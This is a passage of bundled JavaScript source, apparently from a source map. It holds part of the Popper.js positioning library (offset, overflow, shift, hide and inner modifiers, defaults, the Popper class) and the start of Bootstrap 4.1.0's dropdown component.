mergeWithPrevious = false;\n    return op\n    // This aggregates any `+` or `-` sign that aren't considered operators\n    // e.g.: 10 + +5 => [10, +, +5]\n    .reduce(function (a, b) {\n      if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {\n        a[a.length - 1] = b;\n        mergeWithPrevious = true;\n        return a;\n      } else if (mergeWithPrevious) {\n        a[a.length - 1] += b;\n        mergeWithPrevious = false;\n        return a;\n      } else {\n        return a.concat(b);\n      }\n    }, [])\n    // Here we convert the string values into number values (in px)\n    .map(function (str) {\n      return toValue(str, measurement, popperOffsets, referenceOffsets);\n    });\n  });\n\n  // Loop trough the offsets arrays and execute the operations\n  ops.forEach(function (op, index) {\n    op.forEach(function (frag, index2) {\n      if (isNumeric(frag)) {\n        offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);\n      }\n    });\n  });\n  return offsets;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @argument {Number|String} options.offset=0\n * The offset value as described in the modifier description\n * @returns {Object} The data object, properly modified\n */\nfunction offset(data, _ref) {\n  var offset = _ref.offset;\n  var placement = data.placement,\n      _data$offsets = data.offsets,\n      popper = _data$offsets.popper,\n      reference = _data$offsets.reference;\n\n  var basePlacement = placement.split('-')[0];\n\n  var offsets = void 0;\n  if (isNumeric(+offset)) {\n    offsets = [+offset, 0];\n  } else {\n    offsets = parseOffset(offset, popper, reference, basePlacement);\n  }\n\n  if (basePlacement === 'left') {\n    popper.top += offsets[0];\n    popper.left -= offsets[1];\n  } else if (basePlacement === 'right') {\n    popper.top += offsets[0];\n    popper.left += offsets[1];\n  } else if (basePlacement === 'top') {\n    popper.left += offsets[0];\n    popper.top -= offsets[1];\n  } else if (basePlacement === 'bottom') {\n    popper.left += offsets[0];\n    popper.top += offsets[1];\n  }\n\n  data.popper = popper;\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction preventOverflow(data, options) {\n  var boundariesElement = options.boundariesElement || getOffsetParent(data.instance.popper);\n\n  // If offsetParent is the reference element, we really want to\n  // go one step up and use the next offsetParent as reference to\n  // avoid to make this modifier completely useless and look like broken\n  if (data.instance.reference === boundariesElement) {\n    boundariesElement = getOffsetParent(boundariesElement);\n  }\n\n  var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, boundariesElement, data.positionFixed);\n  options.boundaries = boundaries;\n\n  var order = options.priority;\n  var popper = data.offsets.popper;\n\n  var check = {\n    primary: function primary(placement) {\n      var value = popper[placement];\n      if (popper[placement] < boundaries[placement] && !options.escapeWithReference) {\n        value = Math.max(popper[placement], boundaries[placement]);\n      }\n      return defineProperty({}, placement, value);\n    },\n    secondary: function secondary(placement) {\n      var mainSide = placement === 'right' ? 'left' : 'top';\n      var value = popper[mainSide];\n      if (popper[placement] > boundaries[placement] && !options.escapeWithReference) {\n        value = Math.min(popper[mainSide], boundaries[placement] - (placement === 'right' ? popper.width : popper.height));\n      }\n      return defineProperty({}, mainSide, value);\n    }\n  };\n\n  order.forEach(function (placement) {\n    var side = ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';\n    popper = _extends({}, popper, check[side](placement));\n  });\n\n  data.offsets.popper = popper;\n\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction shift(data) {\n  var placement = data.placement;\n  var basePlacement = placement.split('-')[0];\n  var shiftvariation = placement.split('-')[1];\n\n  // if shift shiftvariation is specified, run the modifier\n  if (shiftvariation) {\n    var _data$offsets = data.offsets,\n        reference = _data$offsets.reference,\n        popper = _data$offsets.popper;\n\n    var isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;\n    var side = isVertical ? 'left' : 'top';\n    var measurement = isVertical ? 'width' : 'height';\n\n    var shiftOffsets = {\n      start: defineProperty({}, side, reference[side]),\n      end: defineProperty({}, side, reference[side] + reference[measurement] - popper[measurement])\n    };\n\n    data.offsets.popper = _extends({}, popper, shiftOffsets[shiftvariation]);\n  }\n\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction hide(data) {\n  if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {\n    return data;\n  }\n\n  var refRect = data.offsets.reference;\n  var bound = find(data.instance.modifiers, function (modifier) {\n    return modifier.name === 'preventOverflow';\n  }).boundaries;\n\n  if (refRect.bottom < bound.top || refRect.left > bound.right || refRect.top > bound.bottom || refRect.right < bound.left) {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === true) {\n      return data;\n    }\n\n    data.hide = true;\n    data.attributes['x-out-of-boundaries'] = '';\n  } else {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === false) {\n      return data;\n    }\n\n    data.hide = false;\n    data.attributes['x-out-of-boundaries'] = false;\n  }\n\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction inner(data) {\n  var placement = data.placement;\n  var basePlacement = placement.split('-')[0];\n  var _data$offsets = data.offsets,\n      popper = _data$offsets.popper,\n      reference = _data$offsets.reference;\n\n  var isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;\n\n  var subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;\n\n  popper[isHoriz ? 'left' : 'top'] = reference[basePlacement] - (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);\n\n  data.placement = getOppositePlacement(placement);\n  data.offsets.popper = getClientRect(popper);\n\n  return data;\n}\n\n/**\n * Modifier function, each modifier can have a function of this type assigned\n * to its `fn` property.<br />\n * These functions will be called on each update, this means that you must\n * make sure they are performant enough to avoid performance bottlenecks.\n *\n * @function ModifierFn\n * @argument {dataObject} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {dataObject} The data object, properly modified\n */\n\n/**\n * Modifiers are plugins used to alter the behavior of your poppers.<br />\n * Popper.js uses a set of 9 modifiers to provide all the basic functionalities\n * needed by the library.\n *\n * Usually you don't want to override the `order`, `fn` and `onLoad` props.\n * All the other properties are configurations that could be tweaked.\n * @namespace modifiers\n */\nvar modifiers = {\n  /**\n   * Modifier used to shift the popper on the start or end of its reference\n   * element.<br />\n   * It will read the variation of the `placement` property.<br />\n   * It can be one either `-end` or `-start`.\n   * @memberof modifiers\n   * @inner\n   */\n  shift: {\n    /** @prop {number} order=100 - Index used to define the order of execution */\n    order: 100,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: shift\n  },\n\n  /**\n   * The `offset` modifier can shift your popper on both its axis.\n   *\n   * It accepts the following units:\n   * - `px` or unitless, interpreted as pixels\n   * - `%` or `%r`, percentage relative to the length of the reference element\n   * - `%p`, percentage relative to the length of the popper element\n   * - `vw`, CSS viewport width unit\n   * - `vh`, CSS viewport height unit\n   *\n   * For length is intended the main axis relative to the placement of the popper.<br />\n   * This means that if the placement is `top` or `bottom`, the length will be the\n   * `width`. In case of `left` or `right`, it will be the height.\n   *\n   * You can provide a single value (as `Number` or `String`), or a pair of values\n   * as `String` divided by a comma or one (or more) white spaces.<br />\n   * The latter is a deprecated method because it leads to confusion and will be\n   * removed in v2.<br />\n   * Additionally, it accepts additions and subtractions between different units.\n   * Note that multiplications and divisions aren't supported.\n   *\n   * Valid examples are:\n   * ```\n   * 10\n   * '10%'\n   * '10, 10'\n   * '10%, 10'\n   * '10 + 10%'\n   * '10 - 5vh + 3%'\n   * '-10px + 5vh, 5px - 6%'\n   * ```\n   * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap\n   * > with their reference element, unfortunately, you will have to disable the `flip` modifier.\n   * > More on this [reading this issue](https://github.com/FezVrasta/popper.js/issues/373)\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  offset: {\n    /** @prop {number} order=200 - Index used to define the order of execution */\n    order: 200,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: offset,\n    /** @prop {Number|String} offset=0\n     * The offset value as described in the modifier description\n     */\n    offset: 0\n  },\n\n  /**\n   * Modifier used to prevent the popper from being positioned outside the boundary.\n   *\n   * An scenario exists where the reference itself is not within the boundaries.<br />\n   * We can say it has \"escaped the boundaries\" — or just \"escaped\".<br />\n   * In this case we need to decide whether the popper should either:\n   *\n   * - detach from the reference and remain \"trapped\" in the boundaries, or\n   * - if it should ignore the boundary and \"escape with its reference\"\n   *\n   * When `escapeWithReference` is set to`true` and reference is completely\n   * outside its boundaries, the popper will overflow (or completely leave)\n   * the boundaries in order to remain attached to the edge of the reference.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  preventOverflow: {\n    /** @prop {number} order=300 - Index used to define the order of execution */\n    order: 300,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: preventOverflow,\n    /**\n     * @prop {Array} [priority=['left','right','top','bottom']]\n     * Popper will try to prevent overflow following these priorities by default,\n     * then, it could overflow on the left and on top of the `boundariesElement`\n     */\n    priority: ['left', 'right', 'top', 'bottom'],\n    /**\n     * @prop {number} padding=5\n     * Amount of pixel used to define a minimum distance between the boundaries\n     * and the popper this makes sure the popper has always a little padding\n     * between the edges of its container\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='scrollParent'\n     * Boundaries used by the modifier, can be `scrollParent`, `window`,\n     * `viewport` or any DOM element.\n     */\n    boundariesElement: 'scrollParent'\n  },\n\n  /**\n   * Modifier used to make sure the reference and its popper stay near eachothers\n   * without leaving any gap between the two. Expecially useful when the arrow is\n   * enabled and you want to assure it to point to its reference element.\n   * It cares only about the first axis, you can still have poppers with margin\n   * between the popper and its reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  keepTogether: {\n    /** @prop {number} order=400 - Index used to define the order of execution */\n    order: 400,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: keepTogether\n  },\n\n  /**\n   * This modifier is used to move the `arrowElement` of the popper to make\n   * sure it is positioned between the reference element and its popper element.\n   * It will read the outer size of the `arrowElement` node to detect how many\n   * pixels of conjuction are needed.\n   *\n   * It has no effect if no `arrowElement` is provided.\n   * @memberof modifiers\n   * @inner\n   */\n  arrow: {\n    /** @prop {number} order=500 - Index used to define the order of execution */\n    order: 500,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: arrow,\n    /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */\n    element: '[x-arrow]'\n  },\n\n  /**\n   * Modifier used to flip the popper's placement when it starts to overlap its\n   * reference element.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   *\n   * **NOTE:** this modifier will interrupt the current update cycle and will\n   * restart it if it detects the need to flip the placement.\n   * @memberof modifiers\n   * @inner\n   */\n  flip: {\n    /** @prop {number} order=600 - Index used to define the order of execution */\n    order: 600,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: flip,\n    /**\n     * @prop {String|Array} behavior='flip'\n     * The behavior used to change the popper's placement. It can be one of\n     * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid\n     * placements (with optional variations).\n     */\n    behavior: 'flip',\n    /**\n     * @prop {number} padding=5\n     * The popper will flip if it hits the edges of the `boundariesElement`\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='viewport'\n     * The element which will define the boundaries of the popper position,\n     * the popper will never be placed outside of the defined boundaries\n     * (except if keepTogether is enabled)\n     */\n    boundariesElement: 'viewport'\n  },\n\n  /**\n   * Modifier used to make the popper flow toward the inner of the reference element.\n   * By default, when this modifier is disabled, the popper will be placed outside\n   * the reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  inner: {\n    /** @prop {number} order=700 - Index used to define the order of execution */\n    order: 700,\n    /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */\n    enabled: false,\n    /** @prop {ModifierFn} */\n    fn: inner\n  },\n\n  /**\n   * Modifier used to hide the popper when its reference element is outside of the\n   * popper boundaries. It will set a `x-out-of-boundaries` attribute which can\n   * be used to hide with a CSS selector the popper when its reference is\n   * out of boundaries.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   * @memberof modifiers\n   * @inner\n   */\n  hide: {\n    /** @prop {number} order=800 - Index used to define the order of execution */\n    order: 800,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: hide\n  },\n\n  /**\n   * Computes the style that will be applied to the popper element to gets\n   * properly positioned.\n   *\n   * Note that this modifier will not touch the DOM, it just prepares the styles\n   * so that `applyStyle` modifier can apply it. This separation is useful\n   * in case you need to replace `applyStyle` with a custom implementation.\n   *\n   * This modifier has `850` as `order` value to maintain backward compatibility\n   * with previous versions of Popper.js. Expect the modifiers ordering method\n   * to change in future major versions of the library.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  computeStyle: {\n    /** @prop {number} order=850 - Index used to define the order of execution */\n    order: 850,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: computeStyle,\n    /**\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3d transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties.\n     */\n    gpuAcceleration: true,\n    /**\n     * @prop {string} [x='bottom']\n     * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.\n     * Change this if your popper should grow in a direction different from `bottom`\n     */\n    x: 'bottom',\n    /**\n     * @prop {string} [x='left']\n     * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.\n     * Change this if your popper should grow in a direction different from `right`\n     */\n    y: 'right'\n  },\n\n  /**\n   * Applies the computed styles to the popper element.\n   *\n   * All the DOM manipulations are limited to this modifier. This is useful in case\n   * you want to integrate Popper.js inside a framework or view library and you\n   * want to delegate all the DOM manipulations to it.\n   *\n   * Note that if you disable this modifier, you must make sure the popper element\n   * has its position set to `absolute` before Popper.js can do its work!\n   *\n   * Just disable this modifier and define you own to achieve the desired effect.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  applyStyle: {\n    /** @prop {number} order=900 - Index used to define the order of execution */\n    order: 900,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: applyStyle,\n    /** @prop {Function} */\n    onLoad: applyStyleOnLoad,\n    /**\n     * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3d transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties.\n     */\n    gpuAcceleration: undefined\n  }\n};\n\n/**\n * The `dataObject` is an object containing all the informations used by Popper.js\n * this object get passed to modifiers and to the `onCreate` and `onUpdate` callbacks.\n * @name dataObject\n * @property {Object} data.instance The Popper.js instance\n * @property {String} data.placement Placement applied to popper\n * @property {String} data.originalPlacement Placement originally defined on init\n * @property {Boolean} data.flipped True if popper has been flipped by flip modifier\n * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper.\n * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier\n * @property {Object} data.styles Any CSS property defined here will be applied to the popper, it expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow, it expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.boundaries Offsets of the popper boundaries\n * @property {Object} data.offsets The measurements of popper, reference and arrow elements.\n * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0\n */\n\n/**\n * Default options provided to Popper.js constructor.<br />\n * These can be overriden using the `options` argument of Popper.js.<br />\n * To override an option, simply pass as 3rd argument an object with the same\n * structure of this object, example:\n * ```\n * new Popper(ref, pop, {\n *   modifiers: {\n *     preventOverflow: { enabled: false }\n *   }\n * })\n * ```\n * @type {Object}\n * @static\n * @memberof Popper\n */\nvar Defaults = {\n  /**\n   * Popper's placement\n   * @prop {Popper.placements} placement='bottom'\n   */\n  placement: 'bottom',\n\n  /**\n   * Set this to true if you want popper to position it self in 'fixed' mode\n   * @prop {Boolean} positionFixed=false\n   */\n  positionFixed: false,\n\n  /**\n   * Whether events (resize, scroll) are initially enabled\n   * @prop {Boolean} eventsEnabled=true\n   */\n  eventsEnabled: true,\n\n  /**\n   * Set to true if you want to automatically remove the popper when\n   * you call the `destroy` method.\n   * @prop {Boolean} removeOnDestroy=false\n   */\n  removeOnDestroy: false,\n\n  /**\n   * Callback called when the popper is created.<br />\n   * By default, is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onCreate}\n   */\n  onCreate: function onCreate() {},\n\n  /**\n   * Callback called when the popper is updated, this callback is not called\n   * on the initialization/creation of the popper, but only on subsequent\n   * updates.<br />\n   * By default, is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onUpdate}\n   */\n  onUpdate: function onUpdate() {},\n\n  /**\n   * List of modifiers used to modify the offsets before they are applied to the popper.\n   * They provide most of the functionalities of Popper.js\n   * @prop {modifiers}\n   */\n  modifiers: modifiers\n};\n\n/**\n * @callback onCreate\n * @param {dataObject} data\n */\n\n/**\n * @callback onUpdate\n * @param {dataObject} data\n */\n\n// Utils\n// Methods\nvar Popper = function () {\n  /**\n   * Create a new Popper.js instance\n   * @class Popper\n   * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper\n   * @param {HTMLElement} popper - The HTML element used as popper.\n   * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)\n   * @return {Object} instance - The generated Popper.js instance\n   */\n  function Popper(reference, popper) {\n    var _this = this;\n\n    var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};\n    classCallCheck(this, Popper);\n\n    this.scheduleUpdate = function () {\n      return requestAnimationFrame(_this.update);\n    };\n\n    // make update() debounced, so that it only runs at most once-per-tick\n    this.update = debounce(this.update.bind(this));\n\n    // with {} we create a new object with the options inside it\n    this.options = _extends({}, Popper.Defaults, options);\n\n    // init state\n    this.state = {\n      isDestroyed: false,\n      isCreated: false,\n      scrollParents: []\n    };\n\n    // get reference and popper elements (allow jQuery wrappers)\n    this.reference = reference && reference.jquery ? reference[0] : reference;\n    this.popper = popper && popper.jquery ? popper[0] : popper;\n\n    // Deep merge modifiers options\n    this.options.modifiers = {};\n    Object.keys(_extends({}, Popper.Defaults.modifiers, options.modifiers)).forEach(function (name) {\n      _this.options.modifiers[name] = _extends({}, Popper.Defaults.modifiers[name] || {}, options.modifiers ? options.modifiers[name] : {});\n    });\n\n    // Refactoring modifiers' list (Object => Array)\n    this.modifiers = Object.keys(this.options.modifiers).map(function (name) {\n      return _extends({\n        name: name\n      }, _this.options.modifiers[name]);\n    })\n    // sort the modifiers by order\n    .sort(function (a, b) {\n      return a.order - b.order;\n    });\n\n    // modifiers have the ability to execute arbitrary code when Popper.js get inited\n    // such code is executed in the same order of its modifier\n    // they could add new properties to their options configuration\n    // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!\n    this.modifiers.forEach(function (modifierOptions) {\n      if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {\n        modifierOptions.onLoad(_this.reference, _this.popper, _this.options, modifierOptions, _this.state);\n      }\n    });\n\n    // fire the first update to position the popper in the right place\n    this.update();\n\n    var eventsEnabled = this.options.eventsEnabled;\n    if (eventsEnabled) {\n      // setup event listeners, they will take care of update the position in specific situations\n      this.enableEventListeners();\n    }\n\n    this.state.eventsEnabled = eventsEnabled;\n  }\n\n  // We can't use class properties because they don't get listed in the\n  // class prototype and break stuff like Sinon stubs\n\n\n  createClass(Popper, [{\n    key: 'update',\n    value: function update$$1() {\n      return update.call(this);\n    }\n  }, {\n    key: 'destroy',\n    value: function destroy$$1() {\n      return destroy.call(this);\n    }\n  }, {\n    key: 'enableEventListeners',\n    value: function enableEventListeners$$1() {\n      return enableEventListeners.call(this);\n    }\n  }, {\n    key: 'disableEventListeners',\n    value: function disableEventListeners$$1() {\n      return disableEventListeners.call(this);\n    }\n\n    /**\n     * Schedule an update, it will run on the next UI update available\n     * @method scheduleUpdate\n     * @memberof Popper\n     */\n\n\n    /**\n     * Collection of utilities useful when writing custom modifiers.\n     * Starting from version 1.7, this method is available only if you\n     * include `popper-utils.js` before `popper.js`.\n     *\n     * **DEPRECATION**: This way to access PopperUtils is deprecated\n     * and will be removed in v2! Use the PopperUtils module directly instead.\n     * Due to the high instability of the methods contained in Utils, we can't\n     * guarantee them to follow semver. Use them at your own risk!\n     * @static\n     * @private\n     * @type {Object}\n     * @deprecated since version 1.8\n     * @member Utils\n     * @memberof Popper\n     */\n\n  }]);\n  return Popper;\n}();\n\n/**\n * The `referenceObject` is an object that provides an interface compatible with Popper.js\n * and lets you use it as replacement of a real DOM node.<br />\n * You can use this method to position a popper relatively to a set of coordinates\n * in case you don't have a DOM node to use as reference.\n *\n * ```\n * new Popper(referenceObject, popperNode);\n * ```\n *\n * NB: This feature isn't supported in Internet Explorer 10\n * @name referenceObject\n * @property {Function} data.getBoundingClientRect\n * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.\n * @property {number} data.clientWidth\n * An ES6 getter that will return the width of the virtual reference element.\n * @property {number} data.clientHeight\n * An ES6 getter that will return the height of the virtual reference element.\n */\n\n\nPopper.Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;\nPopper.placements = placements;\nPopper.Defaults = Defaults;\n\nexport default Popper;\n//# sourceMappingURL=popper.js.map\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Dropdown = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                     = 'dropdown'\n  const VERSION                  = '4.1.0'\n  const DATA_KEY                 = 'bs.dropdown'\n  const EVENT_KEY                = `.${DATA_KEY}`\n  const DATA_API_KEY             = '.data-api'\n  const JQUERY_NO_CONFLICT       = $.fn[NAME]\n  const ESCAPE_KEYCODE           = 27 // KeyboardEvent.which value for Escape (Esc) key\n  const SPACE_KEYCODE            = 32 // KeyboardEvent.which value for space key\n  const TAB_KEYCODE              = 9 // KeyboardEvent.which value for tab key\n  const ARROW_UP_KEYCODE         = 38 // KeyboardEvent.which value for up arrow key\n  const ARROW_DOWN_KEYCODE       = 40 // KeyboardEvent.which value for down arrow key\n  const RIGHT_MOUSE_BUTTON_WHICH = 3 // MouseEvent.which value for the right button (assuming a right-handed mouse)\n  const REGEXP_KEYDOWN           = new RegExp(`${ARROW_UP_KEYCODE}|${ARROW_DOWN_KEYCODE}|${ESCAPE_KEYCODE}`)\n\n  const Event = {\n    HIDE             : `hide${EVENT_KEY}`,\n    HIDDEN           : `hidden${EVENT_KEY}`,\n    SHOW             : `show${EVENT_KEY}`,\n    SHOWN            : `shown${EVENT_KEY}`,\n    CLICK            : `click${EVENT_KEY}`,\n    CLICK_DATA_API   : `click${EVENT_KEY}${DATA_API_KEY}`,\n    KEYDOWN_DATA_API : `keydown${EVENT_KEY}${DATA_API_KEY}`,\n    KEYUP_DATA_API   : `keyup${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    DISABLED  : 'disabled',\n    SHOW      : 'show',\n    DROPUP    : 'dropup',\n    DROPRIGHT : 'dropright',\n    DROPLEFT  : 'dropleft',\n    MENURIGHT : 'dropdown-menu-right',\n    MENULEFT  : 'dropdown-menu-left',\n    POSITION_STATIC : 'position-static'\n  }\n\n  const Selector = {\n    DATA_TOGGLE   : '[data-toggle=\"dropdown\"]',\n    FORM_CHILD    : '.dropdown form',\n    MENU          : '.dropdown-menu',\n    NAVBAR_NAV    : '.navbar-nav',\n    VISIBLE_ITEMS : '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'\n  }\n\n  const AttachmentMap = {\n    TOP       : 'top-start',\n    TOPEND    : 'top-end',\n    BOTTOM    : 'bottom-start',\n    BOTTOMEND : 'bottom-end',\n    RIGHT     : 'right-start',\n    RIGHTEND  : 'right-end',\n    LEFT      : 'left-start',\n    LEFTEND   : 'left-end'\n  }\n\n  const Default = {\n    offset      : 0,\n    flip        : true,\n    boundary    : 'scrollParent',\n    reference   : 'toggle',\n    display     : 'dynamic'\n  }\n\n  const DefaultType = {\n    offset      : '(number|string|function)',\n    flip        : 'boolean',\n    boundary    : '(string|element)',\n    reference   : '(string|element)',\n    display     : 'string'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Dropdown {\n    constructor(element, config) {\n      this._element  = element\n      this._popper   = null\n      this._config   = this._getConfig(config)\n      this._menu     = this._getMenuElement()\n      this._inNavbar = this._detectNavbar()\n\n      this._addEventListeners()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    static get DefaultType() {\n      return DefaultType\n    }\n\n    // Public\n\n    toggle() {\n      if (this._element.disabled || $(this._element).hasClass(ClassName.DISABLED)) {\n        return\n      }\n\n      const parent   = Dropdown._getParentFromElement(this._element)\n      const isActive = $(this._menu).hasClass(ClassName.SHOW)\n\n      Dropdown._clearMenus()\n\n      if (isActive) {\n        return\n      }\n\n      const relatedTarget = {\n        relatedTarget: this._element\n      }\n      const showEvent = $.Event(Event.SHOW, relatedTarget)\n\n      $(parent).trigger(showEvent)\n\n      if (showEvent.isDefaultPrevented()) {\n        return\n      }\n\n      // Disable totally Popper.js for Dropdown in Navbar\n      if (!this._inNavbar) {\n        /**\n         * Check for Popper dependency\n         * Popper - https://popper.js.org\n         */\n        if (typeof Popper === 'undefined') {\n          throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)')\n        }\n\n        let referenceElement = this._element\n\n        if (this._config.reference === 'parent') {\n          referenceElement = parent\n        } else if (Util.isElement(this._config.reference)) {\n          referenceElement = this._config.reference\n\n          // Check if it's jQuery element\n          if (typeof this._config.reference.jquery !== 'undefined') {\n            referenceElement = this._config.reference[0]\n          }\n        }\n\n        // If boundary is not `scrollParent`, then set position to `static`\n        // to allow the menu to \"escape\" the scroll parent's boundaries\n        // https://github.com/twbs/bootstrap/issues/24251\n        if (this._config.boundary !== 'scrollParent') {\n          $(parent).addClass(ClassName.POSITION_STATIC)\n        }\n        this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig())\n      }\n\n      // If this is a touch-enabled device we add extra\n      // empty mouseover listeners to the body's immediate children;\n      // only needed because of broken event delegation on iOS\n      // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n      if ('ontouchstart' in document.documentElement &&\n         $(parent).closest(Selector.NAVBAR_NAV).length === 0) {\n        $(document.body).children().on('mouseover', null, $.noop)\n      }\n\n      this._element.focus()\n      this._element.setAttribute('aria-expanded', true)\n\n      $(this._menu).toggleClass(ClassName.SHOW)\n      $(parent)\n        .toggleClass(ClassName.SHOW)\n        .trigger($.Event(Event.SHOWN, relatedTarget))\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      $(this._element).off(EVENT_KEY)\n      this._element = null\n      this._menu = null\n      if (this._popper !== null) {\n        this._popper.destroy()\n        this._popper = null\n      }\n    }\n\n    update() {\n      this._inNavbar = this._detectNavbar()\n      if (this._popper !== null) {\n        this._popper.scheduleUpdate()\n      }\n    }\n\n    // Private\n\n    _addEventListeners() {\n      $(this._element).on(Event.CLICK, (event) => {\n        event.preventDefault()\n        event.stopPropagation()\n        this.toggle()\n      })\n    }\n\n    _getConfig(config) {\n      config = {\n        ...this.constructor.Default,\n        ...$(this._element).data(),\n        ...config\n      }\n\n      Util.typeCheckConfig(\n        NAME,\n        config,\n        this.constructor.DefaultType\n      )\n\n      return config\n    }\n\n    _getMenuElement() {\n      if (!this._menu) {\n        const parent = Dropdown._getParentFromElement(this._element)\n        this._menu = $(parent).find(Selector.MENU)[0]\n      }\n      return this._menu\n    }\n\n    _getPlacement() {\n      const $parentDropdown = $(this._element).parent()\n      let placement = AttachmentMap.BOTTOM\n\n      // Handle dropup\n      if ($parentDropdown.hasClass(ClassName.DROPUP)) {\n        placement = AttachmentMap.TOP\n        if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n          placement = AttachmentMap.TOPEND\n        }\n      } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) {\n        placement = AttachmentMap.RIGHT\n      } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) {\n        placement = AttachmentMap.LEFT\n      } else if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n        placement = AttachmentMap.BOTTOMEND\n      }\n      return placement\n    }\n\n    